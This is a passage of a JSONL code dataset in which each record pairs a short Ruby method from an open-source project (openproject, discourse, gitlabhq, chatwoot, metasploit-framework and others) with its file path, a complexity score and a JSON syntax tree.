\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"api_key\"]},\"issuer_id\"]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"auth_parts\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"--apple-id \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"username\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"auth_parts\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"--password \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"FASTLANE_APPLE_APPLICATION_SPECIFIC_PASSWORD\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"auth_parts\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"--team-id \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"asc_provider\"]}]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"submit_parts\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"xcrun notarytool submit\"]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"compressed_package_path\"]},{\"type\":\"lvar\",\"children\":[\"package_path\"]}]}]},\"shellescape\"]},{\"type\":\"str\",\"children\":[\"--output-format json\"]},{\"type\":\"str\",\"children\":[\"--wait\"]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"auth_parts\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"verbose\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"submit_command\"]},\"<<\",{\"type\":\"str\",\"children\":[\"--verbose\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"submit_command\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"submit_parts\"]},\"join\",{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"submit_response\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Actions\"]},\"sh\",{\"type\":\"lvar\",\"children\":[\"submit_command\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"log\"]},{\"type\":\"lvar\",\"children\":[\"verbose\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error_callback\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"msg\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Error polling for notarization info: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg\"]}]}]}]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"notarization_info\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"submit_response\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"submission_id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"notarization_info\"]},\"[]\",{\"type\":\"str\",\"children\":[\"id\"]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"notarization_info\"]},\"[]\",{\"type\":\"str\",\"children\":[\"status\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"Accepted\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"success\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Successfully uploaded package to notarization service with request identifier \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"submission_id\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"skip_stapling\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"success\",{\"type\":\"str\",\"children\":[\"Successfully notarized artifact\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"message\",{\"type\":\"str\",\"children\":[\"Stapling package\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"staple\",{\"type\":\"lvar\",\"children\":[\"package_path\"]},{\"type\":\"lvar\",\"children\":[\"verbose\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"success\",{\"type\":\"str\",\"children\":[\"Successfully notarized and stapled package\"]}]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"Invalid\"]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"submission_id\"]},{\"type\":\"lvar\",\"children\":[\"print_log\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"log_request_parts\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"xcrun notarytool log \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"submission_id\"]}]}]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"auth_parts\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"log_request_command\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"log_request_parts\"]},\"join\",{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"log_request_response\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Actions\"]},\"sh\",{\"type\":\"lvar\",\"children\":[\"log_request_command\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"log\"]},{\"type\":\"lvar\",\"children\":[\"verbose\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error_callback\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"msg\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Error requesting the notarization log: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg\"]}]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"user_error!\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Could not notarize package with message '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"log_request_response\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"user_error!\",{\"type\":\"str\",\"children\":[\"Could not notarize package. To see the error, please set 'print_log' to true.\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"crash!\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Could not notarize package with status '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"notarization_info\"]},\"[]\",{\"type\":\"str\",\"children\":[\"status\"]}]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"temp_file\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"temp_file\"]},\"delete\"]},null]}]}]}","id":"8ff5d0c8-afb8-4a19-8307-54b28a6dd66b"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/bim/app/services/bim/bcf/issues/create_service.rb","start_line":42,"raw_source":"def issue_params(work_package:, params:)\n        { work_package: }\n          .merge(params.slice(*Bim::Bcf::Issue::SETTABLE_ATTRIBUTES))\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"issue_params\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"work_package\"]},{\"type\":\"kwarg\",\"children\":[\"params\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"work_package\"]},{\"type\":\"lvar\",\"children\":[\"work_package\"]}]}]},\"merge\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"slice\",{\"type\":\"splat\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Bim\"]},\"Bcf\"]},\"Issue\"]},\"SETTABLE_ATTRIBUTES\"]}]}]}]}]}","id":"d41fe58d-d0ec-4c3a-9623-c86d343d0e70"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/forms/custom_fields/inputs/base/autocomplete/multi_value_input.rb","start_line":58,"raw_source":"def invalid?\n    custom_values.any? { |custom_value| custom_value.errors.any? }\n  end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"invalid?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"custom_values\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"custom_value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"custom_value\"]},\"errors\"]},\"any?\"]}]}]}","id":"2a44ffe4-b69e-4db5-8aa4-30b27ef40beb"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/tools/exploit/virustotal.rb","start_line":82,"raw_source":"def load_api_key\n    _get_setting('api_key') || ''\n  end","complexity_score":2.1,"ast_json":"{\"type\":\"def\",\"children\":[\"load_api_key\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_get_setting\",{\"type\":\"str\",\"children\":[\"api_key\"]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]}","id":"117e147b-8a72-4432-8a12-b8e429f73158"}
{"repo_name":"spree","file_path":"./repos/spree/api/app/controllers/spree/api/v2/storefront/wishlists_controller.rb","start_line":189,"raw_source":"def render_error_item_quantity\n            render json: { error: I18n.t('spree.api.v2.wishlist.wrong_quantity') }, status: 422\n          end","complexity_score":2.5,"ast_json":"{\"type\":\"def\",\"children\":[\"render_error_item_quantity\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"spree.api.v2.wishlist.wrong_quantity\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"int\",\"children\":[422]}]}]}]}]}","id":"5368af54-31a0-4ff7-ae8a-8656cc494840"}
{"repo_name":"rack","file_path":"./repos/rack/lib/rack/response.rb","start_line":201,"raw_source":"def precondition_failed?; status == 412;                        end","complexity_score":2.5,"ast_json":"{\"type\":\"def\",\"children\":[\"precondition_failed?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"status\"]},\"==\",{\"type\":\"int\",\"children\":[412]}]}]}","id":"5622db00-efa6-43f7-8adb-b31cfbe13480"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_request_workflow.rb","start_line":1265,"raw_source":"def respool_to_folder(src)\n    return nil if src[:respool].nil?\n\n    sources = [src[:respool]]\n    datacenters = sources.collect { |h| find_datacenter_for_ci(h) }.compact\n    datacenters.each_with_object({}) { |dc, folders| folders.merge!(get_ems_folders(dc)) }\n  end","complexity_score":15.3,"ast_json":"{\"type\":\"def\",\"children\":[\"respool_to_folder\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"src\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"src\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"respool\"]}]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"sources\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"src\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"respool\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"datacenters\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sources\"]},\"collect\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"h\"]}]},{\"type\":\"send\",\"children\":[null,\"find_datacenter_for_ci\",{\"type\":\"lvar\",\"children\":[\"h\"]}]}]},\"compact\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"datacenters\"]},\"each_with_object\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"dc\"]},{\"type\":\"arg\",\"children\":[\"folders\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"folders\"]},\"merge!\",{\"type\":\"send\",\"children\":[null,\"get_ems_folders\",{\"type\":\"lvar\",\"children\":[\"dc\"]}]}]}]}]}]}","id":"266fe389-bcd4-4701-ae9f-87e79e629411"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/lib/ai_moderation/spam_scanner.rb","start_line":124,"raw_source":"def self.scanned_max_times?(post)\n        AiSpamLog.where(post_id: post.id).count >= 3\n      end","complexity_score":5.5,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"scanned_max_times?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"post\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AiSpamLog\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"post_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"id\"]}]}]}]},\"count\"]},\">=\",{\"type\":\"int\",\"children\":[3]}]}]}","id":"89fbbb2e-2f07-46c9-ab62-c415cc4975a9"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/migration/safe_migrate.rb","start_line":86,"raw_source":"def remove_index(table_name, column_name = nil, **options)\n        @@activerecord_remove_indexes << (\n          options[:name] || index_name(table_name, options.merge(column: column_name))\n        )\n\n        # Call the original method\n        original_remove_index(table_name, column_name, **options)\n      end","complexity_score":8.3,"ast_json":"{\"type\":\"def\",\"children\":[\"remove_index\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"table_name\"]},{\"type\":\"optarg\",\"children\":[\"column_name\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwrestarg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"cvar\",\"children\":[\"@@activerecord_remove_indexes\"]},\"<<\",{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[null,\"index_name\",{\"type\":\"lvar\",\"children\":[\"table_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"lvar\",\"children\":[\"column_name\"]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"original_remove_index\",{\"type\":\"lvar\",\"children\":[\"table_name\"]},{\"type\":\"lvar\",\"children\":[\"column_name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}]}]}","id":"f1031000-a0d8-4a58-9031-0081429e8b61"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/render_test.rb","start_line":198,"raw_source":"def conditional_hello_with_expires_now\n    expires_now\n    render action: \"hello_world\"\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"conditional_hello_with_expires_now\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expires_now\"]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"str\",\"children\":[\"hello_world\"]}]}]}]}]}]}","id":"f53ccbca-ff7e-46e8-bdd9-19263e591359"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/app/helpers/meetings_helper.rb","start_line":108,"raw_source":"def copy_param(key)\n    params[key.to_sym] == \"1\" || params.dig(:meeting, key.to_sym) == \"1\"\n  end","complexity_score":11.8,"ast_json":"{\"type\":\"def\",\"children\":[\"copy_param\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"to_sym\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"1\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"dig\",{\"type\":\"sym\",\"children\":[\"meeting\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"to_sym\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"1\"]}]}]}]}","id":"2484b343-580f-4ed2-bba5-854d4c243f37"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/work_package/pdf_export/work_package_list_to_pdf.rb","start_line":85,"raw_source":"def export!\n    handle_export_errors do\n      success(render_work_packages(query.results.work_packages))\n    end\n  end","complexity_score":9.5,"ast_json":"{\"type\":\"def\",\"children\":[\"export!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"handle_export_errors\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"success\",{\"type\":\"send\",\"children\":[null,\"render_work_packages\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"query\"]},\"results\"]},\"work_packages\"]}]}]}]}]}","id":"1103e860-2e2e-46fc-b053-b4e8597449a7"}
{"repo_name":"liquid","file_path":"./repos/liquid/lib/liquid/block_body.rb","start_line":119,"raw_source":"private def handle_invalid_tag_token(token, parse_context)\n      if token.end_with?('%}')\n        yield token, token\n      else\n        BlockBody.raise_missing_tag_terminator(token, parse_context)\n      end\n    end","complexity_score":5.0,"ast_json":"{\"type\":\"send\",\"children\":[null,\"private\",{\"type\":\"def\",\"children\":[\"handle_invalid_tag_token\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"token\"]},{\"type\":\"arg\",\"children\":[\"parse_context\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"token\"]},\"end_with?\",{\"type\":\"str\",\"children\":[\"%}\"]}]},{\"type\":\"yield\",\"children\":[{\"type\":\"lvar\",\"children\":[\"token\"]},{\"type\":\"lvar\",\"children\":[\"token\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BlockBody\"]},\"raise_missing_tag_terminator\",{\"type\":\"lvar\",\"children\":[\"token\"]},{\"type\":\"lvar\",\"children\":[\"parse_context\"]}]}]}]}]}","id":"336dd379-a2b4-442a-983f-eaa720b0ca90"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/lib/backup_restore/shared_context_for_backup_restore.rb","start_line":49,"raw_source":"def expect_db_reconnect\n    RailsMultisite::ConnectionManagement.expects(:establish_connection).once\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_db_reconnect\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RailsMultisite\"]},\"ConnectionManagement\"]},\"expects\",{\"type\":\"sym\",\"children\":[\"establish_connection\"]}]},\"once\"]}]}","id":"976e50f2-8758-4abd-9373-4d723efbc092"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/api/v2/notifications/accounts_controller.rb","start_line":16,"raw_source":"def load_accounts\n    @paginated_notifications.map(&:from_account)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"load_accounts\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@paginated_notifications\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"from_account\"]}]}]}]}","id":"5f641d57-bf4b-46f4-b9b1-c6361ee7bff7"}
{"repo_name":"hanami","file_path":"./repos/hanami/lib/hanami/extensions/db/repo.rb","start_line":51,"raw_source":"def define_inherited\n          root_for_repo_class = method(:root_for_repo_class)\n\n          define_method(:inherited) do |subclass|\n            super(subclass)\n\n            unless subclass.root\n              root = root_for_repo_class.(subclass)\n              subclass.root root if root\n            end\n          end\n        end","complexity_score":17.3,"ast_json":"{\"type\":\"def\",\"children\":[\"define_inherited\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"root_for_repo_class\",{\"type\":\"send\",\"children\":[null,\"method\",{\"type\":\"sym\",\"children\":[\"root_for_repo_class\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"define_method\",{\"type\":\"sym\",\"children\":[\"inherited\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"subclass\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"subclass\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"subclass\"]},\"root\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"root\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"root_for_repo_class\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"subclass\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"root\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"subclass\"]},\"root\",{\"type\":\"lvar\",\"children\":[\"root\"]}]},null]}]}]}]}]}]}]}","id":"10378073-bfe6-4eaa-99b9-1d532ceee750"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/graphql/lazy.rb","start_line":12,"raw_source":"def force\n        strong_memoize(:force) { self.class.force(@proc.call) }\n      end","complexity_score":5.7,"ast_json":"{\"type\":\"def\",\"children\":[\"force\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"strong_memoize\",{\"type\":\"sym\",\"children\":[\"force\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"force\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@proc\"]},\"call\"]}]}]}]}","id":"569daa59-3ab3-4233-bdff-4bf89de8014e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/github_import/representation/issue_event.rb","start_line":32,"raw_source":"def issuable_id\n          issue && issue[:number]\n        end","complexity_score":4.5,"ast_json":"{\"type\":\"def\",\"children\":[\"issuable_id\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"issue\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"issue\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"number\"]}]}]}]}","id":"37c021f3-c29f-4dd7-b2b9-d74d0fc96f53"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/services/filter_service.rb","start_line":109,"raw_source":"def tag_filter_query(query_hash, current_index)\n    model_name = filter_config[:entity]\n    table_name = filter_config[:table_name]\n    query_operator = query_hash[:query_operator]\n    @filter_values[\"value_#{current_index}\"] = filter_values(query_hash)\n\n    tag_model_relation_query =\n      \"SELECT * FROM taggings WHERE taggings.taggable_id = #{table_name}.id AND taggings.taggable_type = '#{model_name}'\"\n    tag_query =\n      \"AND taggings.tag_id IN (SELECT tags.id FROM tags WHERE tags.name IN (:value_#{current_index}))\"\n\n    case query_hash[:filter_operator]\n    when 'equal_to'\n      \"EXISTS (#{tag_model_relation_query} #{tag_query}) #{query_operator}\"\n    when 'not_equal_to'\n      \"NOT EXISTS (#{tag_model_relation_query} #{tag_query}) #{query_operator}\"\n    when 'is_present'\n      \"EXISTS (#{tag_model_relation_query}) #{query_operator}\"\n    when 'is_not_present'\n      \"NOT EXISTS (#{tag_model_relation_query}) #{query_operator}\"\n    end\n  end","complexity_score":18.8,"ast_json":"{\"type\":\"def\",\"children\":[\"tag_filter_query\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"query_hash\"]},{\"type\":\"arg\",\"children\":[\"current_index\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"model_name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"filter_config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"entity\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"table_name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"filter_config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"table_name\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"query_operator\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query_hash\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"query_operator\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@filter_values\"]},\"[]=\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"value_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_index\"]}]}]},{\"type\":\"send\",\"children\":[null,\"filter_values\",{\"type\":\"lvar\",\"children\":[\"query_hash\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"tag_model_relation_query\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SELECT * FROM taggings WHERE taggings.taggable_id = \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"table_name\"]}]},{\"type\":\"str\",\"children\":[\".id AND taggings.taggable_type = '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model_name\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"tag_query\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"AND taggings.tag_id IN (SELECT tags.id FROM tags WHERE tags.name IN 